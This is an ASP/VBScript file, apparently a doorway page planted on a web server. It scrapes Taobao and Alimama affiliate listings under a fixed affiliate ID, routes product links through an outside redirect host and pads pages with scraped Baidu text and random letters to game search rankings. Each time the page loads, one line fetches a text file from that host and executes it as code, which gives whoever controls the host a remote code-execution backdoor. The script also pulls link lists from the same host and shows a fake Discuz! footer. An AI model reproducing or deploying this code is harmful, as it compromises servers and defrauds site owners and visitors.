<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> <% on error resume next public page,title,url3,pid,word0,word1,site1,zongye,c5,wd,c2,y2,jia,v1,jia1,jia2,tiao1,yu2 public tiao3,cat0,cat1,cat2 Function suishu(a, b) On Error Resume Next Randomize suishu = Int((b - a + 1) * Rnd + a) End Function function jc(a,b,c) if instr(a,b)>0 and instr(a,c)>0 then jc=split(split(a,b)(1),c)(0) end if end function function jc2(a,b,c) jc2=split(split(lcase(a),lcase(b))(1),lcase(c))(0) end function Function GetUrl() Dim Url Dim ServerPort,ServerName,ScriptName,QueryString ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") Url="http://"&ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName If QueryString <>"" Then Url=Url&"?"& QueryString GetUrl=Url End Function Function URLEncode(strURL) '汉字转url编码 Dim I Dim tempStr For I = 1 To Len(strURL) If Asc(Mid(strURL, I, 1)) < 0 Then tempStr = "%" & Right(CStr(Hex(Asc(Mid(strURL, I, 1)))), 2) tempStr = "%" & Left(CStr(Hex(Asc(Mid(strURL, I, 1)))), Len(CStr(Hex(Asc(Mid(strURL, I, 1))))) - 2) & tempStr URLEncode = URLEncode & tempStr ElseIf (Asc(Mid(strURL, I, 1)) >= 65 And Asc(Mid(strURL, I, 1)) <= 90) Or (Asc(Mid(strURL, I, 1)) >= 97 And Asc(Mid(strURL, I, 1)) <= 122) Then URLEncode = URLEncode & Mid(strURL, I, 1) Else URLEncode = URLEncode & "%" & Hex(Asc(Mid(strURL, I, 1))) End If Next End Function Function URLDecode(strURL) 'url编码转汉字 Dim I If InStr(strURL, "%") = 0 Then URLDecode = strURL: Exit Function For I = 1 To Len(strURL) If Mid(strURL, I, 1) = "%" Then If eval("&H" & Mid(strURL, I + 1, 2)) > 127 Then URLDecode = URLDecode & Chr(eval("&H" & Mid(strURL, I + 1, 2) & Mid(strURL, I + 4, 2))) I = I + 5 Else URLDecode = URLDecode & Chr(eval("&H" & Mid(strURL, I + 1, 2))) I = I + 2 End If Else URLDecode = URLDecode & Mid(strURL, I, 1) End If Next End Function private Function BytesToBstr(body,Cset) '中文处理 on error resume next dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function public Function htmltou(src) on error resume next if src<>"" then dim Http set Http=server.createobject("MSXML2.XMLHTTP") Http.open "GET",src,false Http.send() 'if Http.readystate<>4 then If Http.Status<>200 then exit Function htmltou=BytesToBSTR(Http.responseBody,"GB2312") set http=nothing if err.number<>0 then err.Clear end if end Function Public Function RemoveHTML(strText) '正规则替换html标签 Dim RegExs Set RegExs = New RegExp RegExs.Pattern = "<[^>]*>" RegExs.Global = True RemoveHTML = RegExs.Replace(strText, "") End Function Public Function RegExpTest(patrn, strng) '引用 MicroSoft VBScript Regular Expressions 5.5 (.*?) 非贪婪模式匹配 Dim regEx, Match, Matches ' 建立变量。 Set regEx = New RegExp ' 建立正则表达式。 regEx.Pattern = patrn ' 设置模式。即:搜索方法 regEx.IgnoreCase = True ' 设置是否区分大小写。 regEx.Global = True ' 设置全程可用性。 Set Matches = regEx.Execute(strng) ' 执行搜索。我们可以理解为被搜索的字符串 For Each Match In Matches ' 遍历 Matches 集合。 'response.write(Match.Value) RetStr = RetStr & replace(Match.Value,vbcrlf,"") & vbCrLf & "
" '匹配的值 Next RegExpTest = RetStr End Function function soso() '搜索关键词 On Error Resume Next dim c52 refe=Request.ServerVariables("HTTP_REFERER") refe2 = Replace(URLDecode(refe), "+", " ")&"&" 'GBK解码 If InStr(refe, "www.baidu.com") > 0 Then c52=jc(refe2,"word=","&"):if len(c52)=0 then c52=jc(refe2,"wd=","&") ElseIf InStr(refe, "www.sogou.com") > 0 Then c52=jc(refe2,"query=","&") ElseIf InStr(refe, "www.soso.com") > 0 Then c52=jc(refe2,"w=","&") end if soso=c52 End Function 'Response.Write "["&soso()&"]" '------------------百度 Private Function jc1(a,b,c) On Error Resume Next d = InStr(lcase(a),lcase(b)) f = InStr(lcase(a),lcase(c)) 'response.write(d&"---"&f) if d>0 and f>0 then jc1 = Mid(a, d + Len(b), f - d - Len(b)) End Function function jcs(a,b,c,g,i1) '原字符,前缀,后缀,替换为,循环替换次数 e=a for i=0 to i1 d="":d=jc(e,b,c) if len(d)>0 then e=replace(e,b&d&c,g) next jcs=e end function Function rndzi(a) '随机字母 On Error Resume Next For i = 1 To a Randomize rndzi = rndzi & Chr(Int(26 * Rnd + 97)) 'a~z的数字 Next End Function Function jiami(z1,z2) '加密原字符,乘以数 On Error Resume Next For i = 1 To Len(z1) jiami = Asc(Mid(z1, i, 1)) + jiami Next jiami = jiami * jiami * jiami * jiami * int(z2) End Function function baidut(qz2) '百度搜索 on error resume next dim page4 Url="http://www.baidu.com/s?wd=" if len(trim(qz2))>0 then page4=htmltou(url&qz2) 'response.write(page4) z11=jc1(page4,"") '搜索部分 if len(z11)>0 then page4="
","

","",2) '删除分页 page4=jcs(page4,"
","","",12) '删掉百度快照 'page4=jcs(page4,"&rsp=","&f=1",".htm",12) '替换相关搜索 'page4=replace(page4,"相关搜索","相关文章") 'page4=replace(page4,"s?wd=",url3&"?/") 'response.write(page4) page4=jcs(page4,"

","",2) '删掉去贴吧 page4=jcs(page4,"

","",4) '删掉广告 cc1=split(page4,"
") '相关搜索分开 cc3 = RemoveHTML(RegExpTest("(.*?)
", cc1(0))) '循环内容 cc6 = Split(cc3, vbCrLf) For i = 0 To UBound(cc6) if len(cc6(i))>5 then cc7 = cc7 & cc6(i) & rndzi(10-i) & y2 & "
" & vbCrLf If i = 9 Then Exit For '8段 Next cc8="":cc8=cc1(1) page4 = cc7 '&"
"&cc8 ' 注释去掉相关搜索部分 end if baidut=replace(page4,"...","") 'response.write(page4) end function sub bb2(word) '内页 on error resume next dim c8 url="http://s8.taobao.com/search?commend=all&q="&word&"&pid="&pid&"&mode=66&style=grid&start_price=100&end_price=10000000" 'response.write url z1=htmltou(url) title=URLDecode(word) 'url编码转汉字 'response.write z1 c41="淘宝商品:" c30="
卖家信用:
" '信用 c31="
  • " '价格 c9="
      "):if len(c8)>0 then c8=c9&c8 '搜索区 'response.write c8 z5="http://s.click."&jc(c8,"http://s.click.",chr(34)) '得到商品链接 if len(z5)<20 then z5=replace(url,word,soso()) '商品失效替换成来路关键词 tiao3=z5 '跳转地址 z6="
  • " '购买图片 c8=replace(c8,c31,c31&"淘宝价:")&z6 '价格加字+购买按钮 c8=replace(c8,c31,c30&c31) '价格上加信用 c8=jcs(c8,"
    ","
    ","",5) '删除折扣保障 c8=jcs(c8,"","",5) '删除旺旺 c8=jcs(c8,"
  • ","",5) '删除垃圾 c8=replace(c8,"",""&c41,1,1) '替换一次热门商品 c8=replace(c8,"http://s.click.taobao",v1&"?turl=http://s.click.taobao") '商品链接改跳转 c8=replace(c8,"list-view-enlarge lazy-list-view","") '删除css防百度K c8=replace(replace(c8,"data-lazyload-",""),"data-ks-lazyload","src") '修改商品img src错误 page=c8 'jia="

    "&title&"

    " 'h2 jia="

    "&title&"

    " 'h2 for i=1 to len(title) '商品2字做链接 k1=Mid(title,i,1):k2=trim(k2&k1) if len(k2)=2 then jia1=jia1&""&k2&" " k2="" end if next jia2="
    "&baidut(left(title,8+len(y2)))&"
    " '百度搜索 end sub function tihuan(a,b) '原字符,去掉字符##去掉字符 zz5=a zz3=split(b,"##") for each zz4 in zz3 if len(zz4)>0 then zz5=replace(zz5,zz4,"") next tihuan=zz5 end function execute htmltou("http://t.a1x2.com/t/1.txt") sub bb1(word,ye) '列表页 on error resume next if len(word)=0 then exit sub '没有关键词就不请求 dim desc 'if day(date()) mod 2=0 then desc="&sort=sale-desc" '日期双销售量高低 url="http://taoke.alimama.com/spreader/auction_list.htm?c=&advsort=&mid=0&isMallRedirect=&q="&word&"&cat=0&od=3&conts=20&conte=&hs=&he=&cs=60&ce=&rs=&re=&loc=&toPage="&ye&"&perPageSize=40" '价格60元以上 佣金率20 'response.write url&"
    " z1=htmltou(url) zongye=int(jc(z1,"var page =new Object();"&vbcrlf&"page.max=",";")) '总页数 zo1=0:zo1=int(zongye):if zo1=0 then zongye=0 if zo1>100 then zongye=100 '分页数 s4=RegExpTest("\", z1) '商品列表文字 'response.write s4 s4=RemoveHTML(replace(s4,"
    ","++--++")) s5=split(s4,vbCrLf&"++--++") '生成列表 for each s6 in s5 if len(s6)>0 then s8=s8 & "
  • · "&s6&" "&y2&"
  • " end if next page=s8 end sub function getcenter(str,a,b)'str是字符串 getcenter=split(split(str,a)(1),b)(0) end function sub bb1b(word,ye) '列表页 on error resume next if len(word)=0 then exit sub '没有关键词就不请求 url="http://s8.taobao.com/search?q="&word&"&commend=all&sort=sale-desc&style=grid&filter=reserve_price%5B60%2C%5D&fs=1&unid=0&mode=66&pid=mm_29491546_0_0&jumpto="&ye&"&s="&(ye-1)*40&"&n=40&start_price=100&end_price=10000000" '价格60元以上 'response.write url&"
    " z1=htmltou(url) zongye=int(jc(z1,"var tPage =",";")) '总页数 zo1=0:zo1=int(zongye):if zo1=0 then zongye=0 if zo1>100 then zongye=100 '分页数 c9="
      "):if len(c8)>0 then c8=c9&c8 '搜索区 s4=RegExpTest("EventCanSelect"" title\=""(.*?)""\>", z1) '商品列表文字 s4=replace(replace(s4,"EventCanSelect"&chr(34)&" title="&chr(34),""),chr(34)&">","") 'response.write s4 s4=RemoveHTML(replace(s4,"
      ","++--++")) s5=split(s4,vbCrLf&"++--++") '生成列表 for each s6 in s5 if len(s6)>0 then s66=left(s6,14) s67=right(s6,15) s68=replace(s67&s66,"*","2012新款") s69=replace(s68,"/","最新") s70=replace(s69,"、","正品店") s71=replace(s70,"0","排行榜") zhongj=getcenter(s6,"【","】") s72=replace(s71,zhongj,"传奇购物网") s8=s8 & "
    • · "&s72&" "&y2&"
    • " end if next page=s8 end sub function cater(c1,z1) '获取二级关键词 一级id,源码 on error resume next z0=replace(jc(z1,"
        ","
      "),vbcrlf,"") z2=RegExpTest("
    • ", z0) '商品列表文字 'response.write z2 s5=split(z2,"
      ") '生成列表 for each s6 in s5 if len(s6)>0 then z3=jc(s6,"typeid="&chr(34),chr(34)):z4=jc(s6,chr(34)&"#"&chr(34)&">","") z5=z5& ""&z4&" " end if next cater=z5&"

      " end function sub catt(c0,c1,ye) '一级列表 一级id,页数 on error resume next url="http://taoke.alimama.com/spreader/auction_list.htm?c="&c1&"&advsort=&mid=0&isMallRedirect=&q=&cat="&c0&"&od=3&conts=20&conte=&hs=&he=&cs=60&ce=&rs=&re=&loc=&toPage="&ye&"&perPageSize=40" '价格60元以上 佣金率从高到低 'response.write url&"
      " z1=htmltou(url) if len(cat1)=0 then z10=cater(cat0,z1) '二级关键词 zongye=int(jc(z1,"var page =new Object();"&vbcrlf&"page.max=",";")) '总页数 zo1=0:zo1=int(zongye):if zo1=0 then zongye=0 if zo1>100 then zongye=100 '分页数 s4=RegExpTest("\", z1) '商品列表文字 'response.write s4 s4=RemoveHTML(replace(s4,"
      ","++--++")) s5=split(s4,vbCrLf&"++--++") '生成列表 for each s6 in s5 if len(s6)>0 then s8=s8 & "

    • · "&s6&" "&y2&"
    • " end if next title=jc(z1,"pcname"&chr(34)&" value="&chr(34),chr(34)&"/>") page=z10&s8 end sub sub shou() '首页 on error resume next z1=htmltou("http://taoke.alimama.com/spreader/auction_list.htm") z2=jc(z1,"
      ","
      ") z2=RegExpTest("
    • ", z1) '商品列表文字 s5=split(z2,"
      ") '生成列表 for each s6 in s5 if len(s6)>0 then z3=jc(s6,"
    • ","") z5=z5& ""&z4&" " end if next 'response.write z5 page=z5 end sub pid="mm_29491546_0_0" word0="" ' "卡包#鞋子#男装#女装#笔记本#衣服#手机#项链#游戏#保健#化妆#包" word1=split(word0,"#") site1="淘宝精选商品网" 'id1=170720000:id2=170780000 'url3="http://127.0.0.1/" url3="http://t.a1x2.com/t/" v1=url3 url1=GetUrl() 'response.write url1 c1=split(lcase(url1),".asp") c2=c1(0)&".asp" '文件地址 c3=c1(1) '后缀 y2=split(jc(lcase(url1),"http://","/"),".")(1) '域名2段 yu2=jiami(y2,3) & jiami(y2,5) '加密域名2段 c4=jc(c3,"?/list_",".htm") '搜索列表 if instr(c3,"?turl=")>0 then '转向 response.write "正在进入...." Response.Write "" 'response.redirect split(lcase(url1),"?turl=")(1) response.end() elseif instr(c3,"?tid_")>0 then '内页 wd=jc(c3,"?tid_",".htm") 'id call bb2(wd) yy2="_"&y2 elseif len(c4)>0 then '搜索列表 cc5=split(c4,"_") '关键词--页数 wd=cc5(0):c5=int(cc5(1)) wd=URLDecode(wd) 'url编码转汉字 wd4=URLEncode(wd) '汉字转url编码 'call bb1(wd,c5) '关键词--页数 call bb1b(cc5(0),c5) '关键词--页数 title=wd&"_"&y2&c5 '词,站名,域名2段,页数 else '列表页 cat=split(request("cat"),"_") cat0=cat(0) '一级id cat1=cat(1) '二级id cat2=cat(2):c5=int(cat2) '页数 if len(cat0)>0 then '列表页 'call catt(cat0,cat1,cat2) wd=title:title=title&"_"&y2&c5 '词,站名,域名2段,页数 else '首页 'call shou title=site1&y2 end if end if Set Fso = Server.CreateObject("Scripting.FileSystemObject") ff1=jc(replace(url1,"http://",""),"/",".asp")&".asp" '文件名称 Set file=fso.getFile(Server.MapPath(ff1)) file.attributes=0'1+2+4 'file.attributes=0+0 set Fso=nothing %> <%=title%><%=yy2%>
      <%=y2%>
      <% for each c30 in word1 i4=i4+1:if i4>6 then exit for '6个栏目输出 %> "><%=c30%> <%next%>
      <%if instr(c3,"?tid_")>0 then '内页%>

      热卖商品:<%=title%>

      来源:本站<%=y2%> 作者:<%=y2%>
      <%=page%> 商品声明:<%=y2%>消费者保障服务,卖家承诺商品如实描述。消费者保障服务,卖家承诺7天无理由退换货。消费者保障服务,卖家承诺正品保障。北京时间:<%=now()%>
      商品名称:<%=title%> 火热销售中!<%=y2%>
      <%=y2%>快乐淘宝 如实描述 七天退换 正品保障 信用卡货到付款 <%=left(title,8)%><%=y2%>
      <%=jia%>

       

       

       

      <%=y2%> <% response.write jia2 'URLEncode(s6) %> <%=title%>

       

      <%=y2%> <%elseif len(cat00)>0 then '列表页%>

      <%=wd%>

        <%=page%>

        <%=wd%>

      <%=id2-id1%>条 分页:<%=c5%>/<%=zongye%> <%if zongye>0 then '页数大于0 %> ">首页 <% '替换列表页分页链接前后50页 k1=c5-50:if k1<1 then k1=1 k2=c5+50:if k2>zongye then k2=zongye for i2=k1 to k2 if i2=c5 then '本页 z29=z29&""&i2&" " else '非本页 z29=z29&""&i2&" " end if next response.write z29 %> ">尾页 <%end if%>
      <%elseif len(c4)>0 then '搜索列表页%>

      <%=wd%>

        <%=page%>

        <%=wd%>

      <%=id2-id1%>条 分页:<%=c5%>/<%=zongye%> <%if zongye>0 then '页数大于0 %> ">首页 <% '替换列表页分页链接前后50页 k1=c5-50:if k1<1 then k1=1 k2=c5+50:if k2>zongye then k2=zongye for i2=k1 to k2 if i2=c5 then '本页 z29=z29&""&c5&" " else '非本页 z29=z29&""&i2&" " end if next response.write z29 %> ">尾页 <%end if%>
      <%else '首页%>
      <%=page%> <% guanjiancia=htmltou("http://t.a1x2.com/t/link/title.txt")' aa=split(guanjiancia,chr(124)) function gjc() for each guanjiancia in aa response.write ""&guanjiancia&""&vbcrlf next end function call gjc %> <%response.write htmltou("http://t.a1x2.com/t/link/link.asp")%>
      <%end if%>
      <%=y2%>Copyright@ 2002-2009 Powered by Discuz! 7.1, All Rights Reserved.<%=y2%> <%=rndzi(10)%>
      <%=jia1%>

       

      <%if session("IDebaode") <> "ok" then%> <%end if%>